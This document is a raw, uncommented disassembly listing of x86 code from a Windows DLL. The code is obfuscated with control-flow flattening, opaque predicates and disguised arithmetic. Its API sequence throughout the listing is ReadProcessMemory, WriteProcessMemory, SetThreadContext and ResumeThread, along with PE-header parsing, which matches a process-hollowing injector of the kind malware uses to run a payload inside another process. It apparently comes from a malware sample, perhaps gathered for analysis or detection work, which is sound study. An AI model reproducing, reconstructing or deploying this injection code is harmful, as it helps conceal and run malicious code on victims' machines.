xor al, cl
or dl, al
mov eax, 0x48074655
mov ecx, 0x8904b76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0x1756ea21
sub edx, 1
sub edx, 0x1756ea21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48074655
mov ecx, 0x57fa134c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 8
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
sub ecx, 0xca2d177a
add ecx, 8
add ecx, 0xca2d177a
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xf8], 0xdaaa6e41
jmp 0x1000441b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0xf8], 0xd68324bf
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0x11af60bb
sub edx, 1
sub edx, 0x11af60bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8207fd8
mov ecx, 0x3c88434e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaadd60f0
mov ecx, 0x3dd9785a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x69c6dd18
jmp 0x1000441b
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004af0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x4b3698b2
jmp 0x1000441b
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], 0x69459be7
jmp 0x1000441b
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], 0xc22aa35c
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x6d4282eb
jmp 0x1000441b
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], 0xa79b3e9f
jmp 0x1000441b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf8], 0xc6bcf5d
jmp 0x1000441b
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], 0x3c88434e
jmp 0x1000441b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xf8], 0x3dd9785a
jmp 0x1000216f